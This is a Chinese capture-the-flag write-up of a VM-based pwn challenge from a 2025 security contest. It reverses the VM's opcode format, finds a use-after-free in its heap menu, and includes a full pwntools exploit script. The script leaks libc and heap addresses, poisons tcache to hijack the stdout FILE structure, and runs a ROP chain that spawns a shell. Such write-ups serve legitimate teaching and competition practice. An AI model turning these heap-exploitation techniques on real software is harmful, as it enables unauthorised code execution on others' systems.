记一次题型VM-软件系统安全赛-pwn-<vm>

admin 2025年1月16日23:16:12评论27 views字数 13584阅读45分16秒阅读模式

记一次VM-PWN痛苦经历

这是来自2025软件系统安全赛一道vm题型,由于全程只有5小时做题,在比赛期间打这个vm题眼睛都看花了,在比赛结束后总历时7小时才做完,能力还是太有限了。

VM-PWN题

这其实是一些比赛常见题型,大概就是出题人写了一个VM,允许攻击者去写opcode去执行一某些操作,一般是VM套一层heap题或者是VM本身就存在漏洞点。这个题就是VM套的一层heap,通过写opcode去执行add,delete,edite,show等操作。VM题型难点在与正确识别和运用opcode,逆向工程一般都比较大,是个体力活。

VM存在一些元素

  1. opcode(虚拟机识别的操作码,成功看透就是vm题型的关键)
  2. reg(虚拟寄存器)
  3. 实现opcode的解释器
  4. 虚拟数据段
  5. 虚拟栈空间

其中读懂opcode和解释器是最重要的一环,是题目的核心

题目wp

附件

评论区会补发

WP

打题全程以看ida修复结构体为主,gdb调试为辅(这些全看经验)

main函数:

void __fastcall__noreturnmain(__int64a1,char**a2,char**a3){init(a1,a2,a3);vmdata=mmap(0x64617461000LL,0x30000uLL,3,34,-1,0LL);vmcode=mmap(0x7063000,0x10000uLL,3,34,-1,0LL);mmap3=mmap(0x73746163000LL,0x20000uLL,3,34,-1,0LL)+0x10000;read_elf(&vmdata);VM(&vmdata);}

起始就是三个mmap,从其他两个附件内读取数据,以附件名可以初步识别mmap对应的意义。下面两个都是以地址传入,上面的三个地址多半是某个结构体的变量,后续看ida可以留意一下。

VM函数:

void __fastcall__noreturnVM(__int64a1){intv1;// eax_BYTE*s;// [rsp+18h] [rbp-8h]s=malloc(0xCuLL);memset(s,0,8uLL);do{    if(menu(a1,s)==-1)      break;    v1=*s&3;    if(v1==3)    {      function_3(a1,s);    }    elseif((*s&3u)<=3)    {      if(v1==2)      {        function_2(a1,s);      }      elseif((*s&3)!=0)      {        function_1(a1,s);      }      else      {        function_0(a1,s);      }    }    memset(s,0,0xCuLL);    if(*(a1+8)<=0x7062FFFuLL)      break;}while(*(a1+8)<=0x7162FFFuLL&&*(a1+64)>0x73746162FFFuLL&&*(a1+64)<=0x73746183000uLL);puts("Segment error");_exit(0);}

进入VM函数后,进入循环以(s & 3u)进入不同函数,循环结束都会初始化s一次,第一个函数(menu)那多半是影响(s & 3u)的函数,进去看一眼

......  v2=*(unsigned__int8**)(a1+8);*(_QWORD*)(a1+8)=v2+1;*a2=*v2;a2[1]=*a2&3;v3=a2[1];if(v3==3){    v9=*(unsigned__int8**)(a1+8);    *(_QWORD*)(a1+8)=v9+1;    *((_DWORD*)a2+1)=*v9;    if((unsignedint)sub_12C9(*((unsignedint*)a2+1)))      return0xFFFFFFFFLL;    *((_DWORD*)a2+2)=**(_QWORD**)(a1+8);    *(_QWORD*)(a1+8)+=8LL;}elseif(a2[1]<=3u)  ......

进来全是地址加解引用的形式去修改数据,结合传入的地址,a1是之前3次mmap的附近的地址,仔细一看是读取的vmcode的数据,if-else语句全是对a2地址处赋值,从这里可以看出正常的开发人员肯定不是这样写代码的,只是ida识别不了结构体,需要我们手动去修复一下(经验论,多修就好了)。如下是我修复后的结果:

struct st{charb1;charb2;charb3;charb4;intint1;intint2;};voidmenu(addr*a1,st*s){char*vmcode_pos;// raxintopt;// eaxchar*v4;// raxchar*v5;// raxchar*v6;// raxchar*v7;// raxchar*v8;// raxunsigned__int8v9;// [rsp+17h] [rbp-9h]unsignedinti;// [rsp+18h] [rbp-8h]vmcode_pos=a1->vmcode_pos;a1->vmcode_pos=vmcode_pos+1;              // addr++s->b1=*vmcode_pos;s->b2=s->b1&3;opt=s->b2;if(opt==3){    v8=a1->vmcode_pos;    a1->vmcode_pos=v8+1;    s->int1=*v8;                              // 取vmcode_pos当前指向的一字节    if(!shr_5(s->int1))    {      s->int2=*a1->vmcode_pos;      a1->vmcode_pos+=8;                      // vmcode_3{                                                // int1=char;                                                // int2=qword;                                                // }    }}elseif(s->b2<=3u){    if(opt==2)                             // vmcode_2{                                                // int1=char;                                                // int2=char;                                                // }    {      v6=a1->vmcode_pos;      a1->vmcode_pos=v6+1;      s->int1=*v6;      v7=a1->vmcode_pos;      a1->vmcode_pos=v7+1;      s->int2=*v7;      if(shr_5(s->int1))        shr_5(s->int2);    }    elseif(s->b2)    {                                           // vmcode_1{                                                // int1=char;                                                // }      v5=a1->vmcode_pos;      a1->vmcode_pos=v5+1;      v9=*v5;      if(!shr_5(*v5))        s->int1=v9;    }    else    {      for(i=0;i<=2;++i)      {                                         // 循环与运算,高字节为int1的低位,低字节位于int1的高位        s->int1<<=8;        v4=a1->vmcode_pos;        a1->vmcode_pos=v4+1;        s->int1|=*v4;                         // vmcode_3{                                                // char1;                                                // char2;                                                // char3;                                                // }      }    }}}

这里主要是修的a2处的结构体,修好这个函数的意义就很明显了 s->b2 = s->b1 & 3; opt = s->b2;

opcode第一个字节的低两位bit决定解析opcode的方式,三个数据解析结构已经在上述修复后的伪代码处标好了。都是以不同的解析字节长度赋值给我修复的结构体的int1或者int2。退出这个函数后也是根据opcode第一个字节低两位bit决定进入的函数。

function_3函数:

void fun_3(addr*a1,st*a2){switch(a2->b1>>2){    case1:      if(a1->reg[a2->int1]<=a2->int2)        a1->FLAG=a1->reg[a2->int1]<a2->int2;      else        a1->FLAG=2;      break;    case2:      if(a1->reg[a2->int1]<=a2->int2)        a1->FLAG=a1->reg[a2->int1]<a2->int2;      else        a1->FLAG=2;      break;    case3:      a1->reg[a2->int1]=a2->int2;      break;    case4:      a1->reg[a2->int1]^=a2->int2;      break;    case5:      a1->reg[a2->int1]|=a2->int2;      break;    case6:      a1->reg[a2->int1]&=a2->int2;      break;    case7:      a1->reg[a2->int1]<<=a2->int2;      break;    case8:      a1->reg[a2->int1]>>=a2->int2;      break;    case10:      a1->reg[a2->int1]+=a2->int2;      break;    case11:      a1->reg[a2->int1]-=a2->int2;      break;    case12:      if(if_big_than_0x3000(a2->int2))        exit_0();      a1->reg[a2->int1]=a1->data[a2->int2];      break;    case13:      if(if_big_than_0x3000(a2->int2))        exit_0();      a1->reg[a2->int1]=*&a1->data[a2->int2];      break;    case14:      if(if_big_than_0x3000(a2->int2))        exit_0();      a1->reg[a2->int1]=*&a1->data[a2->int2];      break;    case15:      if(if_big_than_0x3000(a1->reg[a2->int1]))        exit_0();      a1->data[a1->reg[a2->int1]]=a2->int2;      break;    case16:      if(if_big_than_0x3000(a1->reg[a2->int1]))        exit_0();      *&a1->data[a1->reg[a2->int1]]=a2->int2;      break;    case17:      if(if_big_than_0x3000(a1->reg[a2->int1]))        exit_0();      *&a1->data[a1->reg[a2->int1]]=a2->int2;      break;    case35:      a1->reg[a2->int1]=*&a1->ptr[8*a2->int2+16];      break;    default:      return;}}

这个函数难度还是在于修复结构体,修复好后便一目了然,以opcode第一个字节的高六位bit决定我们进入的case语句。fun_3函数大致还是是对寄存器的,加值的运算对应“mov rax,0x10”,”xor rax,0x10”这种。后续几个函数直接看我附件里的ida9文件吧,后续其他function函数就是寄存器与寄存器的或者是向数据段传入数据,又或者是push,pop操作。

解题过程

执行文件发现有输出和输入,但VM内没有puts,gdb定位一下:

直接r然后ctrl+c暂停调试,finish此函数,输入字符串后就可以找到输出函数的位置:

 0x5555555558de    mov    qwordptr[rbp-8],rax     [0x7fffffffe308]=>9   0x5555555558e2    jmp    0x5555555559a7              <0x5555555559a7>       0x5555555559a7    mov    rax,qwordptr[rbp-8]     RAX,[0x7fffffffe308]=>9   0x5555555559ab    leave   0x5555555559ac    ret                                <0x555555555c55>       0x555555555c55    add    rsp,0x10                    RSP=>0x7fffffffe330(0x7fffffffe320+0x10)   0x555555555c59    mov    rax,qwordptr[rbp-8]     RAX,[0x7fffffffe338]=>0x55555555a120—▸0x64617461000◂—'Please input your opcodes:n'   0x555555555c5d    add    rax,0x10                    RAX=>0x55555555a130(0x55555555a120+0x10)   0x555555555c61    mov    dwordptr[rax],eax         [0x55555555a130]=>0x5555a130   0x555555555c63    jmp    0x55555555613f              <0x55555555613f>       0x55555555613f    nop──────────────────────────────────────────────────────────────────────────────────────────────[STACK]───────────────────────────────────────────────────────────────────────────────────────────────00:0000│rsp0x7fffffffe2d0◂—001:0008│-0380x7fffffffe2d8◂—002:0010│-0300x7fffffffe2e0◂—0x30003:0018│-0280x7fffffffe2e8—▸0x7063226◂—'12324124n'04:0020│-0200x7fffffffe2f0◂—005:0028│-0180x7fffffffe2f8◂—006:0030│-0100x7fffffffe300—▸0x555555557229◂—endbr6407:0038│-0080x7fffffffe308◂—0x20000001b────────────────────────────────────────────────────────────────────────────────────────────[BACKTRACE]─────────────────────────────────────────────────────────────────────────────────────────────0   0x5555555558de   1   0x555555555c55   2   0x555555556fe7   3   0x5555555572f3   4   0x7ffff7dbbd90__libc_start_call_main+128   5   0x7ffff7dbbe40__libc_start_main+128──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────pwndbg>

减去vmmap看到的基地址就可以找到偏移地址:0x0018de

拿到ida按g定位一下

记一次题型VM-软件系统安全赛-pwn-<vm>

进去一看就是heap函数

记一次题型VM-软件系统安全赛-pwn-<vm>

free有UAF那不就乱打了吗?edite和read_str函数都是通过vmdata数据段相互传数据

我们看看怎么去调用这个函数的

交叉索引后发现是在function_0函数里,这里有很多不同的传参方式:

记一次题型VM-软件系统安全赛-pwn-<vm>

这里的case ’3‘和case ’5‘就很简单,正好满足所有的heap函数的传参。
那最开始的vmcode,干了什么呢?

#include <stdint.h>  // 为了使用uint32_t#include<stdio.h>#include<string.h>intcount=0;intmenu(char*a1){       char*p;    intoff;    count++;    charb2;    intint1=0;    longlongint2=0;    b2=a1[0]&3;if(b2==3){    int1=a1[1];                              // 取vmcode_pos当前指向的一字节    if(int1>>5)      return-1;    p=&a1[2];    int2=*(unsignedlonglong*)p;                       // vmcode_3{                                                // char;                                                // qword;                                                // }    printf("%.2d : fun_3 -> case : 0x%x (%x,%lx)n",count,a1[0]>>2,int1,int2);    off=10;}elseif(b2<=3){    if(b2==2)                              // vmcode_2{                                                // char;                                                // char;                                                // }    {      int1=a1[1];      int2=a1[2];    printf("%.2d : fun_2 -> case : 0x%x (%x)nn",count,(a1[0]&0xff)>>2,int1,int2);        off=3;    }    elseif(b2)    {                                           // vmcode_1{                                                // char;                                                // }      int1=a1[1];    printf("%.2d : fun_1 -> case : 0x%x (%x)n",count,(a1[0]&0xff)>>2,int1);    off=2;    }    else    {      for(inti=0;i<=2;++i)      {                                         // 循环与运算        int1<<=8;        int1|=a1[1+i];      }        printf("%.2d : fun_0 -> case : '%c' (%x)n",count,(a1[0]&0xff)>>2,int1);        off=4;    }}returnoff;}intmain(){    charvmcode[]={0x0F,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0F,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0F,0x02,0x1B,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xD4,0x00,0x00,0x01,0xC0,0x00,0x00,0x00,0x81,0x00,0x81,0x01,0x2B,0x01,0x00,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x12,0x00,0x00,0x0F,0x02,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xCC,0x00,0x00,0x00,0xA5,0x01};    intoff=0;    for(inti=0;i<12;i++)    {        off+=menu(vmcode+off);    }    return0;}

运行结果:

01 :fun_3->case:0x3(0,1)02:fun_3->case:0x3(1,0)03:fun_3->case:0x3(2,1b)04:fun_0->case:'5'(1)05:fun_0->case:'0'(0)06:fun_1->case:0x20(0)07:fun_1->case:0x20(1)08:fun_3->case:0xa(1,200)09:fun_2->case:0x4(0)10:fun_3->case:0x3(2,300)11:fun_0->case:'3'(0)12:fun_1->case:0x29(1)

也没什么,调试到最后一步时fun_1后就开始执行我们输入的opcode了。前面只不过是调用到heap函数内部的write和read罢了。

打题思路:

  1. free大chunk去拿libc
  2. free两个chunk进tcachbin
  3. 利用UAF拿heap
  4. 利用UAF修改tcachbin的fd去劫持_IO_2_1_stdout_结构体打apple2(因为hook在2.35版本下已经没有了,加上exit是系统调用而不是libc的exit所以只能打这题仅存的io函数puts)

EXP

#!/usr/bin/python3# -*- encoding: utf-8 -*-frompwnimport*#context(os = 'linux', arch = 'amd64', log_level = 'debug')# context(os = 'linux', arch = 'amd64', log_level = 'debug')#context.terminal = ['tmux', 'splitw', '-h']b_case3=0x000000000002A93b_menu1=0x0000000000002FB5b_menu2=0x0000000000003099b_fun0=0x0000000000019ADb_fun3=0x000000000002A49b_heap=0x000000000001837file_name='./vm'b_string="b _IO_wdoallocbufn"b_slice=[]pie=1foriinb_slice:    iftype(i)==intandpie:        b_string+=f"b *$rebase({i})n"    eliftype(i)==int:        b_string+=f"b *{hex(i)}n"    else:        iftype(i)==str:            b_string+=f"b *"+i+f"n"#1 => attach#2 => debug#3 => remotechoice=1ifchoice==1:    p=process(file_name)    gdb.attach(p,b_string)    print(f"Break_point:n"+b_string)elifchoice==2:    p=gdb.debug(file_name,b_string)    print(f"Break_point:n"+b_string)elifchoice==3:    ip_add="nc1.ctfplus.cn"    port=39169    print("[==^==] remote : "+ip_add+str(port))    p=remote(ip_add,port)#-----------------------------------------------------------------------------------------rv=lambdax            :p.recv(x)rl=lambdaa=False      :p.recvline(a)ru=lambdaa,b=True     :p.recvuntil(a,b)rn=lambdax            :p.recvn(x)sd=lambdax            :p.send(x)sl=lambdax            :p.sendline(x)sa=lambdaa,b          :p.sendafter(a,b)sla=lambdaa,b         :p.sendlineafter(a,b)#u32 = lambda             : u32(p.recv(4).ljust(4,b'x00'))#u64 = lambda             : u64(p.recv(6).ljust(8,b'x00'))inter=lambda           :p.interactive()debug=lambdatext=None:gdb.attach(p,text)lg=lambdas,addr       :log.info('33[1;31;40m %s --> 0x%x33[0m'%(s,addr))pad=lambdaa,b           :print("x1B[1;36m[+]{} =====> 0x%xx1B[0m".format(a)%b)#-----------------------------------------------------------------------------------------deffun_case(fun,case):    returnp8((case<<2)|(fun&3))deffun_0(case,int1):    returnfun_case(0,case)+p8(int1//0x10000)+p8((int1//0x100)&0xff)+p8(int1&0xff)deffun_3(case,int1,int2):    returnfun_case(3,case)+p8(int1)+p64(int2)defset_reg(reg,vule):    returnfun_3(3,reg,vule)defshow_bss(off,size):    ret=set_reg(0,1)    ret+=set_reg(1,off)    ret+=set_reg(2,size)    ret+=fun_0(0x35,1)    returnretdefread_bss(off,size):    ret=set_reg(0,0)    ret+=set_reg(1,off)    ret+=set_reg(2,size)    ret+=fun_0(0x35,0)    returnretdefadd(size):    str1=set_reg(0,size)    str2=fun_0(0x33,3)    returnstr1+str2deffree(idx):    str1=set_reg(0,idx)    str2=fun_0(0x33,4)    returnstr1+str2defedit(idx,size):    ret=show_bss(7,5)#输出'input'    ret+=read_bss(0x100,size)    ret+=set_reg(0,idx)    ret+=set_reg(1,0x100)    ret+=set_reg(2,size)    ret+=fun_0(0x33,5)    returnretdefshow(idx,size):    ret=show_bss(0x12,9)#输出'opcodes:n'    ret+=set_reg(0,idx)    ret+=set_reg(1,0x500)    ret+=set_reg(2,size)    ret+=fun_0(0x33,6)    ret+=show_bss(0x500,size)    returnretpayload=add(0x458)#0payload+=add(0x3f8)#1payload+=add(0x3f8)#2payload+=free(0)payload+=free(1)payload+=free(2)payload+=add(0x458)#3payload+=show(3,8)payload+=show(1,8)payload+=edit(2,8)payload+=add(0x3f8)#4payload+=add(0x3f8)#5payload+=edit(5,0x180)payload+=edit(0,0x3f8)payload+=fun_3(0,1<<6,0)payload+=add(0xf8)sla("Please input your opcodes:n",payload)defedi_payload(idx,size,payload):    sa("input",payload.ljust(size,b'x00'))    print(f"=== edit chunk [{idx}] ===")defleak_addr():    ru("opcodes:n")    addr=u64(rv(8))    print(f"=== get_addr: {hex(addr)} ===")    returnaddr# edi_payload(0,0xf8,b'a'*0xf8)libc=leak_addr()-(0x7fab61481ce0-0x7fab61267000)heap=leak_addr()<<12pad("libc",libc)pad("heap",heap)IO_stdout=libc+0x21b780IO_wfile_jumps=libc+0x2170c0system=libc+0x050d70rdi=libc+0x000000000002a3e5rsi=libc+0x000000000002be51rdx=libc+0x0000000000170337leave=libc+0x000000000004da83ret=leave+1rop=p64(rdi)+p64(heap+0x2c0)+p64(ret)+p64(system)edi_payload(2,0x8,p64((IO_stdout)^(heap+0xb70)>>12))edi_payload(5,0x180,p64(0xfbad2084)+rop.ljust(0x80,b'x00')+p64(heap+0x2d0)+b'x00'*0x10+p64(heap+0x2c0+0x100)+b'x00'*0x30+p64(IO_wfile_jumps-0x20))edi_payload(0,0x3f8,b'/bin/shx00'+b'x00'*(0x100+0xe0-8)+p64(heap+0x2c0+0x200)+b'x00'*(0x18+0x68)+p64(leave))inter()
转自 https://xz.aliyun.com/t/17043?time__1311=mqGxnD9DcDuDBiDlox2DUhhjq3iKfxIrepD

原文始发于微信公众号(船山信安):记一次题型VM-软件系统安全赛-pwn-<vm>

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月16日23:16:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次题型VM-软件系统安全赛-pwn-<vm>https://cn-sec.com/archives/3626075.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息